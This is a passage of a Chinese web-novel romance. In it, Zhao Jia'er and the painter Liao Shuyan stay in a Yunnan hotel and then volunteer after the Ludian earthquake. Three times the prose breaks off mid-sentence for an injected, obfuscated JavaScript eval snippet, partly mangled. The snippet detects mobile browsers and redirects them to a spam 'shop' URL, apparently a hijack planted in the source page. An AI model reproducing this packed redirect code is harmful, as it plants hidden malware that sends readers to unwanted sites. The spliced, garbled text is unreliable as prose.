听到这一声轻柔的叫唤,赵嘉儿眼中的泪水缓缓落了下来。她吸了吸鼻子,盯着自己的鞋尖,支吾着:“我先给姐姐打个电话。” 慌张地挂断电话,赵嘉儿便拨通了赵贤儿的电话,言简意赅地说了她的行程,对于赵贤儿不厌其烦的叮嘱,她笑着应下。 赵贤儿心中奇怪,觉得赵嘉儿今天在电话里表现得太过乖巧听话,不放心地问道:“听你声音怎么像是在哭啊?谁欺负你了?你怎么想到要去灾区呢?那里还有余震呢,你什么时候回来?” 赵嘉儿强颜欢笑:“你不给我介绍相亲对象,我就回去了。” 赵贤儿难得对她做出了妥协:“行!你先回来再说!” 赵嘉儿也没把她的话当回事,见她不再追问她因何而哭的事情,语气也轻松了一些:“姐,你放心吧!池小勉在这边呢!等我到了鲁甸,那边信号可能不好,你要是联系不上我,也不要着急……” 廖书言在站牌另一头看到赵嘉儿笑着讲着电话,没有立即过去,直到看到她挂断电话,他才撑着伞一步步走了过去。 赵嘉儿抬头便见到了他,廖书言却是低头紧盯着她落满污迹的鞋子和裤子。 赵嘉儿挠着头,尴尬地笑道:“之前在路上走,没留意有车经过,被溅了一身泥水。” 廖书言抬头,轻声问:“鞋子湿了么?” “有点……”赵嘉儿不敢直视他的目光,踮起左脚,弱弱地回了一句。 与前来接机的男子碰了头,廖书言向赵嘉儿介绍道:“这位是本地知名的外科医生吴帆,目前在市医院担任外科主任,这次医院的赈灾救援,有他联合当地红十字协会前去。” 他正要介绍赵嘉儿,话语突然哽住,只道:“这位是……赵嘉儿小姐。” 吴帆与廖书言年纪相仿,一双精光闪烁的眼总是盯着赵嘉儿,令赵嘉儿浑身不自在。若不是看到他左手无名指上的婚戒,她还真以为他是见到姑娘就双眼放光的浪荡子呢。 在廖书言介绍完后,她客气地问了一声好:“吴主任好!” 吴帆冲着她一笑:“好!” 车里的温度突然变暖,赵嘉儿的喷嚏一个接一个地响起。吴帆从后视镜看到她憋得红彤彤的脸蛋,将车台上的抽纸递了过来:“感冒啦?要不要先去医院?” 赵嘉儿连忙摇头:“不必了,回去喝点热水,睡一觉就好了。” 吴帆嗤笑:“喝热水……书言,让小姑娘喝热水,你会没朋友的。” 廖书言没去理会吴帆意有所指的嘲讽,将风衣披在赵嘉儿身上,看着车窗外越下越急的雨,又对她轻声说道:“你先睡会儿。” 赵嘉儿恹恹地点了点头。 也许是身体真的有些吃不消,她虽然在飞机上一路睡了过来,这个时候,听着车窗外的风雨声,又渐渐有了睡意。 廖书言见她闭了眼,替她拢紧了身上的风衣,又抬手摸了摸她的额头,不烫。 路上遇上红灯,吴帆单手支在车窗上,笑问:“你喜欢这样的姑娘?” 廖书言的视线随着车窗前的雨刷移动着,并未做声。 吴帆微微偏头瞅了他一眼,一语道破了廖书言的心思:“怎么?小姑娘不接受你啊?” 廖书言倏地看向他,沉声:“绿灯。” 吴帆一脚踩下油门,重新启动车子:“不是我说你,你追姑娘的手段,追个十年也追不上!怪不得二十七八了,连姑娘的嘴也没亲过!还是个纯情老处男!” 廖书言丝毫不受他的话语影响,只问道:“哪里有药店?” 车子在岔路口突然拐进一条单行道上,赵嘉儿的身子便歪了过来,头落在了廖书言肩上。廖书言再不敢动作,偏头见她的脸蛋红扑扑的,犹豫着伸出手指,轻轻碰了碰。 她似乎十分难受,睡得并不安稳,眉头始终不得舒展。 吴帆受托在药店买了感冒灵,再回到车上时,廖书言从他手中接过药袋,问了一句:“鲁甸那边的情况怎样?” “陆路都被堵死了,救援队进不去,这两天,那边的救济物资都是空运过去的。昨天又有两起强度较大的余震,”谈起灾情,吴帆的表情也凝重下来,语气沉重,“明天,我可能顾不上你们,道路没疏通,你们就在外围等着,别跟进去添乱。” 微顿过后,他又故作轻松地笑着调侃道:“远离灾区,珍爱生命啊!” 吴帆给两人预定的酒店是双人套房,与廖书言交代了明天的行程安排后,便匆匆离开了。 赵嘉儿浑身酸软无力,她意识到自己可能真的感冒了,却不愿去医院。冲了热水澡窝在被子里,廖书言已烧好水替她冲了感冒灵,敲响了她房间的门。 赵嘉儿趴在床沿,有气无力地道:“进来。” 她裹着被子坐起,乖乖喝下了廖书言送来的药。 廖书言将空杯子放置在床头柜上,坐在床沿问了一句:“头疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227865|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不疼?” 赵嘉儿笑着摇头。 廖书言知道她是在逞强,也不去拆穿她,回到自己房间从背包里取出体温计,又匆匆来到赵嘉儿房间,将体温计递到她面前:“你量一量,要是发烧,就去医院。” 赵嘉儿听他严肃正经的口吻,只得老实照办。 十分钟的时间里,两个人谁都没有说话,只有彼此的呼吸声在静谧的房间里此起彼伏。 赵嘉儿取出体温计看了看,将体温计递了过去,眼角眉梢染了笑:“体温正常,不用去医院了!” 廖书言见体温正常,也松了一口气。但听她如释重负的语气,不由有些好奇,笑问:“怕打针吃药啊?” “嗯,”赵嘉儿点头,“我讨厌药水的气味。” 廖书言微怔,低声:“那你怎么还陪我在医院里过了一夜?” 赵嘉儿一噎,梗着脖子狡辩着:“我是守着沈梦。” 廖书言微微笑了笑,看了看左腕上的表,抬头问她:“晚饭想吃什么?” “外面在下雨,要出去吃么?” 廖书言笑道:“不出去吃,你说说你想吃什么,素的荤的都说一说。” 赵嘉儿保持着矜持的笑容,道:“什么都可以。” 廖书言无奈一笑:“你不愿说的话,到时候别挑食。” 赵嘉儿顿时闹了个大红脸,拿起手机点开了微信:“廖老师,您的微信是什么,我加您。” “我的手机号。” 赵嘉儿喃喃:“言?这个是您?” 廖书言点头,赵嘉儿已发送了好友请求,催促道:“廖老师,您赶紧通过呀!我转账给您!” 廖书言不疾不徐地道:“不急。你休息一下,到饭点了我叫你起来。” 廖书言回到客厅的沙发上,才从裤子口袋里掏出手机,唯一一个好友请求的头像却是他十分熟悉的照片。 正是姐姐发给他的那张照片。 看到她的昵称,他的目光亮了亮:“喜欢吃鲜橙披萨?” 点了“接受”后,赵嘉儿便发来了消息。 是一条转账的消息。 廖书言没有点开,手指慢慢敲出了一段文字。 言:先不收,分开前再一起算。 鲜橙披萨:廖老师,您的头像怎么是空白的?看着真惊悚!感觉我在跟幽灵聊天! 言:照片何时拍的? 鲜橙披萨:什么照片? 言:头像。 赵嘉儿如同被人戳了痛处,猛地将手机扔在了一旁,将被子拉过了头顶。手机震动了一下,她从被子里伸出手摸到手机,翻身趴在床头点开了廖书言发过来的消息。 言:与嘉清有关,不方便说? 言:别玩手机了,好好休息。我出去一趟,有事的话打我电话。 不一会儿,赵嘉儿便听到了玄关处的门被关上的声音。她竖起耳朵静听,再也没有听到屋内有任何动静,这才确信廖书言真的出去了。 她猜不到他出酒店去做什么,却又十分想知道。 这种不受控制的心绪令她十分不安,却又找不到人来倾诉。 因为陆嘉清的失踪,她变得胆怯懦弱又执拗敏感,身边的朋友已在不知不觉中疏远了她。始终对她不离不弃的,也只有池勉。 然而,这两天,赵嘉儿只从网上了解了鲁甸的情况,而池勉却一直未能联系上。 这一趟云南之行,并不在她的计划之列。 细细想来,这一次离家出走,又有什么事在她的计划之中呢?她所遭遇的一切,似乎全乱套了。 她心里烦躁,在床上翻来覆去睡不着。 再次拿起手机,点开廖书言的对话框,她将廖书言发过来的文字看了一遍又一遍,越看越心酸,越看越想哭。 她转账过去的钱,他真的一直没有点开,刺痛着她的眼睛。 咬咬牙,她敲下一段话。 鲜橙披萨:照片是大学里嘉清拍下的。 8. 第8章 滇中行(2) 赵嘉儿放下手机,平躺在酒店的大床上,茫然地盯着天花板上的圆顶灯看着。 灯亮着,柔和的光芒落在她眼里,盯得久了,眼睛也有些酸痛。她又去数天花板四周的嵌在墙壁里的小圆灯。 横六,竖六,一共二十四盏小圆灯,微弱的光线在房间四周洒下。像是众星拱月一般,紧紧地围绕在正中央的圆顶灯周围。 房间的窗帘闭着,赵嘉儿听不到外边的风雨声,心思回转过来,猛然发现这颗心自廖书言出门后,便一直牵在了他身上。 这种感觉令她慌乱又无措,甚至在想到陆嘉清时,愈发懊恼自责。 但是,这样紧张到脸颊发烫、心口狂跳的无措感,她已很久没有体会到了。 她都记不清当初怎样跟陆嘉清走到了一起,那种似朋友又似恋人的相处模式,自陆嘉清在图书馆后的樱花树下突然亲了她之后,一切都不一样了。 从此以后,他总会紧紧抓着她的手,与她并肩行走;也会趁她不注意时,偷偷亲她一口。当然也会有小吵小闹,可最后妥协的总是他。 那样简单美好的时光,因为陆嘉清突然的失踪,她的生活里似乎不再有阳光。 于她而言,陆嘉清就是她大学生活里的一道光。 永远充满活力,永远阳光灿烂。 两年里,她害怕自己会慢慢遗忘他,总是强迫自己去想他,拒绝一切异性。可是,廖书言的出现,让她陷入了两难的境地。 赵嘉儿躺在床上胡思乱想了许多,不知不觉中,又慢慢睡了过去。 这一觉睡得昏昏沉沉,她觉得身体有些虚热,似乎是出了一些汗。 她闻到了熟悉的香橙披萨的香味,竟觉得有些饿了。又因身体排出了一些虚汗,她感觉浑身轻松了许多,下床出了房间。 循着香味,她摸索到厨房,看到厨房烤箱的架子上正烘烤着披萨,她赶紧跑到客厅梭巡了一圈。 玄关处的收纳桶里放着湿哒哒的黑色雨伞,沾了泥水的白色运动鞋整整齐齐地放在鞋架旁。 廖书言回来了? 可是,却不见他。 赵嘉儿向廖书言的房间望了一眼,半开的房门内,静悄悄的。听到浴室内有水声,她的心仿佛安定下来了一样,缓缓走到客厅的沙发上坐下。廖书言的黑色风衣就放在了沙发扶手上,茶几上的果盘里有刚切成瓣儿的橙子和青苹果。 赵嘉儿口渴,取了牙签盒内的一支牙签,戳了一瓣青苹果放进了嘴里。 她正吃着橙子,廖书言洗了澡穿着简单休闲的白色T恤衫和休闲裤从浴室走出来,她险些噎住。 客厅里的空调开得高,赵嘉儿见廖书言盯着她笑,觉得脸颊烫烫的。听到厨房传来“叮”的一声,她赶紧伸手指向厨房:“烤箱熟了!不,烤箱里的披萨……” 她率先起身奔向厨房,打开烤箱,廖书言忙将她拉到一旁:“刚出炉,有些烫,我来拿,你把保温箱里的玉米高汤和蔬菜沙拉端到客厅。” 赵嘉儿向旁移了两步,看他戴了手套去取烤箱里的披萨,眼睛却移不开了。廖书言回身见她杵着不动,反而紧盯着他手中的披萨,笑着催促道:“这个还有最后一道工序,再等五分钟,先把汤和沙拉端出去,再洗两副餐具。” 赵嘉儿立即手脚麻利地来来回回奔波着,给两人的玻璃杯里满上热牛奶,便坐在客厅的餐桌前,撑着下巴望着厨房的方向,望眼欲穿地等着廖书言将她最爱的鲜橙披萨端上来。 廖书言小心地将披萨切开,给她夹了一块送到她的餐盘里:“怕你挑食不吃饭,就拿这个当晚饭,尝尝味道怎么样?” 赵嘉儿红着脸咬了一口,酸甜咸辣的味道适中,几种味道在她舌尖绽放,令她胃口大开。她抬头见廖书言期待的目光,由衷地点头称赞道:“比外面店子里的都要好吃!” “说假话,”廖书言抽了一张纸巾递到她手边,“吃到脸上去了,擦一擦。” 赵嘉儿窘迫地接过,抬手摸了几下没摸到,愈发觉得羞窘,只得求助廖书言:“在哪里?” 廖书言点了点自己右脸的侧边,轻言:“这里。” 一顿饭下来,廖书言有些惊讶。 这一路上,她与他一同用餐,总是草草吃两口,这一顿饭却比任何时候都要吃得多。看她一口气喝干了玻璃杯中的温牛奶,他问:“身体好些了么?” 赵嘉儿点头:“好了——廖老师的厨艺是练出来的么?” “没有刻意去学,只是平常一个人,都是自己在家里做饭。” 赵嘉儿应了一声,便主动揽下洗碗刷锅的活,廖书言也由着她,倚在厨房门口抱臂瞧着她认真细心地去清洗饭后的餐具。 水流下,他能细细地欣赏她如白玉一般的手指,灵巧纤细,一根根都似在撩动他的心。 餐桌上,她的满足,是他最大的安慰。 此刻,厨房里忙碌的身影,让他一瞬间有了家的感觉。 刹那而生的想法又触动了他的心事,他又默默看了她一会儿,转身回了自己的房间,将放置在床上的两只手提纸袋拎了出来。 赵嘉儿从厨房出来,看到廖书言坐在沙发上向她招手,她犹豫地走过去坐了下来。 脚边是一双崭新的Adidas女式白色运动鞋,两人之间还放着一件白色连帽印花卫衣,正是paulfrank品牌。 “这边的气候偏凉,没时间带你出去逛街,”廖书言有些窘迫,往她身边坐了坐,“不知道你喜欢什么款式的衣服,就买了保暖一些的,你先穿着,若是不合适,也可以捐给灾区……鞋子照你的鞋码买的,你那双鞋我看脚底有些磨损,会进水,下雨天不适合穿。” 赵嘉儿垂着脑袋,嗡嗡问了一句:“多少钱啊?” “我没敢买太贵的,”廖书言将卫衣递到她手里,“你去试试,看衣服合不合身,鞋合不合脚?” 赵嘉儿接过衣服看了看,有些不自在:“我平常也是穿这个尺码,廖老师不愧是画家,凭双眼就能看出人的骨架大小。” 廖书言默然,见她坐着不动,低声道:“你说的是医生。” 赵嘉儿哭笑不得,也不再纠结,提起新鞋,拿起新衣,哒哒地跑进了房间。 廖书言坐在沙发上看着她紧闭的房门,一时猜不透她这样的态度是什么意思。但是,她收下了他买来的衣鞋,他心里的石头也算落地了。 客厅内挂着西洋挂钟,钟摆敲响时,惊了他一下。他抬头望了望,已是晚上八点整了。 他见她门缝里透出的灯光暗了一些,起身去浴室简单洗漱了一下,听到房间里的电话铃声响起,他匆匆擦了一把脸。 看到来电显示,他的双目里划过一丝喜悦的微光,笑着接起:“怎么了?” “给您发微信,一直没回复,我以为您睡了呢!”赵嘉儿的声音有些委屈,转瞬又变得欢快起来,“衣服鞋子都试过了,很合适,谢谢廖老师!这笔账廖老师记下来,我到时候一并还给您!” 一听她故意撇清关系的话语,廖书言就如鲠在喉,在床头坐下,他缓缓地道:“以后再说吧。你早点睡,明天得早起。” “好。” 电话被挂断,廖书言的心也似空了一般。 微信里发来的消息,与她电话里讲的话一般无二。他靠坐在床侧,左手拇指习惯性地敲击着黑下来的手机屏幕,想了许久,又点开了微信。 赵嘉儿正趴在床上苦恼地揪着头发,心里一直闷闷的。 她摸过床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227866|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头柜上的手机,给池勉发过去一条信息: 池小勉,你还好么?看到短信给个回信啊!我到云南了,明天过去找你! 赵嘉儿以为又是石沉大海,哪知,手机却突然震动了一下,亮起的屏幕上,显示的正是池勉的回信。 她兴奋地点开信息,整个人都精神了许多:在忙,一会儿给你回电话。 信息虽简单,但好歹是有了回音,她也不用时时刻刻悬着一颗心了。 赵嘉儿看到廖书言给她发了信息,来不及点开,池勉的电话便打了进来,她只能先接电话。 “嘉儿,你怎么来云南了?” 赵嘉儿听到电话那头有机器的轰鸣声,还有忽远忽近抢救呼喊的声音,再听池勉的声音有些沙哑和疲惫,眼泪便不争气地流了下来。 “你电话一直打不通,发消息也没人回,我以为你出事了呢!”赵嘉儿声音哽咽,抽泣了两声,又关切地问道,“你在那边怎么样?” 池勉在探照灯的光亮下,走到一处安静的废墟旁,蹲下身,道:“这边的通信基站受了影响,手机没信号,再说,很多埋在地下的人也都等着拨打电话求助,这个时候,我不能跟他们抢信号。今天基站修理了,我才能与你联系上——对了,你一个人来云南的?” 赵嘉儿心口一跳,声如蚊蝇:“不是,和廖老师。” 池勉有些意外,笑着调侃道:“别不好意思啊!像偷情被人逼问一样!他跟着你,我也放心了!先不说了啊,我还没吃饭,吃完饭还得赶稿子!” 赵嘉儿本想怼回去,听了他后面的话,又有些心疼他:“那你赶紧吃吧!注意安全啊!” 池勉笑道:“是!大小姐!你也早点休息!” 通完电话,赵嘉儿长长地舒了一口气,猛然想起廖书言发过来的微信。 言:去鲁甸的救援车明天七点出发,六点起来,早点睡。 鲜橙披萨:收到。 赵嘉儿熄了灯,只开了床头的台灯,正要歇下。然而,躺在床上,她又想到了睡在隔壁房间的廖书言。 想到他,她就睡不着,心里也跟着难受起来。 她不喜欢这种感觉,却偏偏陷入其中无法自拔。 她不由扪心自问着:“我真的快要忘记喜欢嘉清的感觉了么?” 因为一个刚刚遇见,却又早早地出现在她与陆嘉清的世界里的人。 看到床头柜上静静躺着的手机,她缓缓地拿起,在被窝里点开微信,看着那个空白无一物的头像,抿了抿嘴,敲下一行行文字,又一次次删掉。 最后,她却是颤抖着敲出了一句问候的话。 鲜橙披萨:廖老师,睡了么? 言:没。 赵嘉儿没想到他回复得如此迅速,吃惊之余,又敲下一段自己也不曾想到的文字。 鲜橙披萨:在做什么? 言:看朋友圈。 言:你的。 赵嘉儿呆住了。她似乎早已不再更新朋友圈了,都不记得从前的自己发了些什么,廖书言这样的举止竟让她有些紧张。她几乎是出于本能地点进自己的朋友圈,一条条翻看。 一年前的自己全是在无病呻吟,因为陆嘉清。 这样的状态,只有她自己能看到。 然而,因刚加了廖书言,她并没有对他设置不可见。 手机震动,险些儿吓走了她的魂。 言:你在做什么?不睡觉? 鲜橙披萨:马上睡!廖老师晚安! 言:晚安。 手机那头沉寂了,世界也似乎沉寂了。 廖书言设置了闹钟,熄了房间的灯,慢慢地闭了眼。 这一夜,他渴望能在梦里梦见她,离她更近一些。 9. 第9章 滇中行(3) 赵嘉儿白天几乎都是睡过去的,睡过一晚醒来时,还不到六点。但是她精神头足,想到昨晚清洗碗筷时,看到酒店厨房的冰箱里还有廖书言没用完的鸡蛋、香肠、面包和牛奶,她脑中冒出一个想法,便一骨碌地爬了起来。 客厅的灯很暗,赵嘉儿生怕动静大到吵醒了房间里熟睡的廖书言,轻手轻脚地洗漱,又麻溜地跑到厨房里。 她打开冰箱,意外发现还有脆黄瓜和一些鲜橙子,目光大亮。 廖书言出了房间,听到厨房里的响动,狐疑地走了过去。 厨房内,赵嘉儿正围着围裙,站在流理台边认真地往素瓷盘里摆放着早餐。 切成三角片的烤面包、煎鸡蛋、烤香肠、鸡蛋卷饼,在她的手下,一样样被摆放进餐盘里,有绿色蔬菜叶做装饰,切成薄片的黄瓜被她在餐盘边缘摆成了椰子树的形状,又有香橙片搭配在一角,样式十分精美。 赵嘉儿察觉到身后有些动静,回头见是睡眼惺忪的廖书言,甜甜一笑:“廖老师起来了!快去刷牙洗脸,我很快就摆好了!” 廖书言回过神,应了一声,连忙进了浴室。 镜中的他,果真是一副大梦初醒的模样,头发也未理。想到自己竟然这副模样出现在她面前,他不由低叹一声:“不成样子。” 对镜仔仔细细理了理头发,回到房间换了一身蓝色休闲衬衫和黑色西裤,总觉得还是少了点什么。 听到赵嘉儿在客厅内叫他,他匆匆应了一声,觉得有些冷,又披上了一件黑色西装外套。 赵嘉儿回到厨房解下围裙,又跑回了房间,出来时,已经换上了廖书言昨天为她买的那件卫衣,配一身蓝色紧身牛仔裤,倒是有了几分学生的朝气。 她见餐桌边的廖书言盯着她不放,挠了挠头,慢慢走了过去:“天气凉,也就穿上了。” “挺好看的,”廖书言执起刀叉,看着她,“什么时候起来的?” “大概五点吧,”赵嘉儿抿了一口玻璃杯中的牛奶,有些羞涩,“我的手艺比不上廖老师,香肠都让我烤焦了。” 她用叉子在盘里叉起一根香肠,底部果真有些烤焦烤黑了。廖书言再看自己的,卖相虽差强人意,但是,他却吃得十分开心:“能吃……这个鸡蛋卷饼味道很不错,不油腻,面包烤得很脆,鸡蛋煎得也很漂亮。在家经常自己做饭么?” 赵嘉儿埋着脑袋道:“姐姐不在家的时候,自己偶尔会做,这些都是跟着姐姐学来的。” “父母不跟你们一块儿住?”廖书言不知这样的问题是否唐突,语气显得小心翼翼的。 赵嘉儿却不假思索地回答着:“他们忙着生意,不常回家里。” 廖书言虽然很想多了解一下她的情况,又怕她见怪再次疏远了他,便忍住没有多问了。相处这几日,他只从姐姐那儿知道她受雇于一家婚庆公司,替人拍些写真或婚纱摄影,工作时间比较自由。 “摄影资格证书到哪一级别了?” 赵嘉儿不好意思地挠了挠头:“才中级。我是半路出家学了这个,哪知毕业后竟然会做这一行。要不是我在的那家公司老总跟爸爸是朋友,我也没有这么自由。” “可以的话,能将你的作品借我观摩观摩么?” 赵嘉儿忙道:“廖老师太抬举人了!您是大画家,我的作品在您面前简直是小巫见大巫,看看倒是可以。绘画与摄影其实也有相通之处,有机会给您发过去,请廖老师提点提点!” 廖书言见她满眼期待地看着自己,笑道:“大画家也有瓶颈期。我已经一年没有作品了,正如你所说的一样,绘画与摄影有相通之处,都需要构图,画有画眼,像有焦点,这点最关键,但也难把握。说不准看了你的作品,能让我突破这道关卡呢!” 赵嘉儿笑着点头:“我也希望能从廖老师的画里悟出新作品出来!” “怎么想到要学摄影呢?” 赵嘉儿神情一顿,许久才道:“一半是因为喜欢,一半是因为嘉清。” 廖书言没再问下去,低声道:“抱歉。” 赵嘉儿眼中泪光莹然,却仍是对他笑道:“没关系。因为嘉清的拍照技术很烂,总是将我拍得特别丑,所以,我就在赌气之后学了摄影,后来才知道他是故意的。” 这是头一次,她当着他的面,直言不讳地向他讲述她与陆嘉清的过往。 能向他敞开心扉,是否表示她已开始信任他,也一点点放下了过去? 廖书言不敢再出言,默了片刻,轻声道:“嘉儿,你是个好姑娘,我希望你能快乐。” 一句平常的祝愿,在赵嘉儿心中掀起了波涛。她仿佛觉得他懂了她不被人理解的坚持与执着,也懂了她笑容背后的孤独与彷徨。 她心中又暖又痛,低低地回了一句:“谢谢廖老师。” 赵嘉儿今天在晨曦里见到的是身穿白大褂、一脸正经的吴帆,看着他有序地安排着进入鲁甸的事项,她不禁肃然起敬。 红十字会征集了一批赶赴灾区的志愿者,吴帆将两人安排到了这一支志愿者队伍里,便跟着市医院的救援队走了。 在车上,赵嘉儿所在的这一支志愿者队伍的队长分发给大家一本册子,册子里是志愿者的行为准则和一些应急救援预案。 赵嘉儿正翻看着册子,队长便发话了:“队伍里有新来的同仁志士,我再自我介绍一下,我是云南志愿者协会成员之一,暂时是你们二十……二人的队长,我叫苏杭!对,就是‘上有天堂下有苏杭’的苏杭,名字很好记的!你们手中的小册子,里面的一些常识和救人救灾预案,你们一定要牢牢记在心里,省得到时候手忙脚乱,没帮上忙,还净添乱!好,现在,我需要一名副队长来协助我,有没有毛遂自荐的?” “我——” 赵嘉儿循声看了过去,是个学生模样的男孩子。 苏杭摆摆手:“徐鸣别捣乱,我要女孩子!” 她的目光搜寻着,突然落在赵嘉儿身上,伸手一指:“就你了!看着听话!做事应该认真负责!你叫什么名字?” 赵嘉儿还有些懵:“我?” 苏杭笑着点头:“就是你!” “赵嘉儿。”赵嘉儿见众人的目光齐刷刷地看着自己,硬着头皮报上了名号。 苏杭又道:“各位同仁,由赵嘉儿小姐担任你们的副队长,负责你们的吃饭睡觉等问题,有没有谁有意见?” “没有!” 赵嘉儿明显感觉人群里有几双不太友好的眼睛盯着自己,没有吭声,而是拉了拉廖书言的衣袖,小声求救:“廖老师……” “别担心,”廖书言轻声安抚道,“到了地方,跟着队伍就行,有危险就撤离……我都在。” 一句“我都在”,瞬间让赵嘉儿安了心。 沿途有许多开往鲁甸的救援车,车上载满救援物资。 阴雨绵绵,路途越来越崎岖泥泞,大型车辆已经前进不得,司机靠边停了车。众人穿上雨披,苏杭便招呼众人下了车,将车厢内的救援物资一箱箱搬下来。 赵嘉儿放眼望去,方圆之内,满目疮痍。 被废墟掩埋的道路上,一辆辆挖土机正疏通着道路,机器轰鸣。在纷乱的雨线里,残瓦断垣间,不时有医护人员抬着担架将受难者抬进用帆布搭建起来的棚子里。 赵嘉儿将物资搬进贴有红十字会标志的帆布棚子里,一趟又一趟,身上仿佛充满了干劲。 从前,她只在电视或网络上听过看过受灾地区的情景,如今亲临灾区,身边人都是为了同一件事,认真有序地忙碌着。大家互帮互助,为生命争分夺秒,这样的情怀,令她感动。 休息的间隙,她取出背包内的相机,穿着雨披站在雨里,将眼前的一幕幕拍进了她的相机里。 道路疏通得已可以通车,陆陆续续有车辆进进出出,废墟之间,又搭起了许多棚子,里面堆满了医疗器械和吃穿的救济物资。 苏杭带领的志愿者队伍在风雨里忙碌了一天,大家相继回到救济棚时,赵嘉儿已经从云南红十字协会的总救济站那边拎回了二十三份盒饭。给每一个人分发过后,大家便坐在塑胶矮凳子上,围在一处吃着。 赵嘉儿见手中多出的一份盒饭,不见廖书言的身影,问着苏杭:“苏队长,廖老师呢?” 苏杭正大口往嘴里扒饭,胡乱回了一句:“我看见他电话响了,然后就出去了。” 赵嘉儿心不在焉地往嘴里塞了几口饭,有些吃不习惯。但是,如今身处的地方,让她意识到以前的自己太过娇气,廖书言曾经与她提过,她不以为意,现在看着大家津津有味地吃着饭,她有些羞愧。 苏杭见她吃了两口就不吃了,正儿八经地道:“晚上得轮流着做事,你身为副队长,要守夜,不吃饱饭,是会拖大家后腿的。” 赵嘉儿被她挤兑得无言以对,只闷闷应了一声:“我等廖老师回来一块儿吃。” 苏杭眼中闪过一丝蔑笑:“城里来的姑娘,吃饭也要男朋友哄着吃。这里是灾区,不是你养尊处优的家,你既然来了,就得将那些娇滴滴的毛病改掉!不然,就回去!” 她训斥赵嘉儿的话被其余的人听在耳里,有人暗中偷笑,有人默然同情,有人事不关己。 而之前在车上毛遂自荐的男孩徐鸣看赵嘉儿被训斥得耷拉着脑袋,心生同情,开口劝着苏杭:“队长,人家一个女孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227867|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你凶人家做什么?人家这副队长是你选出来的,看不惯别人,就不要为难别人啊!” “女孩子怎么了?”苏杭气得脸颊通红,“这里边也有女孩子呢!哪个比她娇气!” 徐鸣被苏杭的气势所慑,笑着嘀咕了一句:“人家是吴主任安排进来的,你也就敢在人家男朋友不在的时候欺负人家。” 赵嘉儿默默听着两人的争论,恍然明白这些人误会了她与廖书言的关系。她想要开口澄清,廖书言正从外面走了进来,徐鸣立马幸灾乐祸地笑道:“人家男朋友回来了,队长再训话啊?” 苏杭狠狠瞪了他一眼,闷闷不乐地走到自己的床位上躺下了。 廖书言脱着雨披,感觉棚子里的气氛有些怪异,环顾了众人一眼,视线落在赵嘉儿身上时,她只是抬起盈然欲滴的双眼看了他一眼,便一口一口嚼着饭。 他在她身边的塑料凳上坐下,赵嘉儿便将没有动过的盒饭递到他手中,催促道:“还没有凉,您赶紧吃。” 廖书言接过来,靠近她,低声问了一句:“怎么了?” 赵嘉儿只是埋头扒饭,催促道:“您快吃呀!” 廖书言知道她挑食,看她吃得痛苦,轻声问道:“是太咸了吃不下?” 赵嘉儿没应,廖书言循循善诱地道:“将菜裹在白饭里一起吞下去,就没那么咸了。” 他做了一遍示范,赵嘉儿的脸上终于有了笑,照着他的方法一口一口吃着。 有廖书言在身边轻声与她说话,她倒不觉得饭菜难吃了。 将众人吃饭的残局收拾过后,她回到棚子里,径直走到苏杭的床位前,低头向她认错:“队长,你的话我都记住了,以后一定改!前半夜,我来守夜!” 苏杭脸上微微有了笑,却依旧嘴硬地道:“下次再犯毛病,我还是会骂你的!虽然你们是吴主任安排进来的,但是,这里没有特殊人员!” 赵嘉儿甜甜一笑:“是,队长!” 她挺直身子,照着灾区里解放军的样子,规规矩矩地向她行了一个军礼。 “上半夜,你守着,下半夜,换我。”苏杭与她相视一笑。 赵嘉儿应了一声,便喜滋滋地跑出了棚子。 雨洗过后的夜空格外明亮,头顶隐隐有星光冒出,赵嘉儿忍不住又端起相机,将夜晚的灾区拍了下来。 回到棚子前,她见廖书言孤零零地立在废墟里的寥寥星光下,立住脚,调了焦距,按下快门时,他却突然偏过头向她看来。 他眼里映着星光,是悲悯慈悲的眼神。 赵嘉儿吐了吐舌,向他的位置走了过去。 廖书言站在废墟高处,她走得艰难。因下过一场雨的缘故,这里的残瓦石块十分湿滑,在离廖书言只有一个台阶的高度时,她脚底一个打滑,身子径直向下扑去。 廖书言大惊失色,矮身拉住她的胳膊,将她往下倾倒的身子向上提了提。 赵嘉儿因惯性使然,身子不受控制地扑在了他的怀里,双手不自觉地抓紧了他胸前的衣襟,整颗心仍旧突突突地跳个不停。 廖书言一手扶着她的胳膊,一手扶过她的腰,稳住身子,见她似呆了般,紧紧地抓着他的衣襟,他便半抱半扶地将她带到了平地上。 赵嘉儿猛然醒过神,慢慢松了手,向后退了两步,红着脸道了声谢:“谢谢廖老师。” 廖书言微笑而应,看到她怀中紧抱着相机,笑问:“偷拍了我几次?” 赵嘉儿有口难辩,低声道:“算上这一次,就……就两次。” 